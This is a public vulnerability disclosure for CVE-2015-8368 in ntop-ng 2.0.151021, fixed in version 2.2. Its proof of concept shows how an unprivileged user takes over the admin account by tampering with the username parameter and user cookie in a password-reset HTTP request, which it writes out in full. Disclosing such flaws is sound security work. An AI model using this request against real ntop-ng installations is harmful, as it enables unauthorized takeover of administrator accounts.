ntop-ng 2.0.151021 - Privilege Escalation

# Vulnerability title: ntop-ng <= 2.0.151021 - Privilege Escalation

# Author: Dolev Farhi

# Contact: dolev at flaresec.com

# Vulnerable version: 2.0.151021

# Fixed version: 2.2

# Link: ntop.org

# Date 27.11.2015

# CVE-2015-8368



# Product Details:

ntopng is the next generation version of the original ntop, a network traffic probe that shows the network usage, similar to what the popular top Unix command does. ntopng is based on libpcap and it has been written in a portable way in order to virtually run on every Unix platform, MacOSX and on Windows as well.



# Vulnerability Details:

in the latest stable release of ntop-ng it is possible to escalate the privileges of a non-privileged user to the admin account by resetting the password, intercepting the request and replacing the HTTP parameters.



# Vulnerability Proof of concept

1. Login with an unprivileged account

2. Change the account password and intercept the request, modify  the username= and Cookie user= and change to the admin account

Example:

GET /lua/admin/password_reset.lua?csrf=XXXXXXXXXXXXXXXXXX&username=admin&old_password=12345&new_password=123456&confirm_new_password=123456 HTTP/1.1

Cookie: user=admin; session=XXXXXXXXXXXXXXXXXXXXXXXXX

3. Login with the admin account and the password you defined in step #3.



Voila! you're an administrator.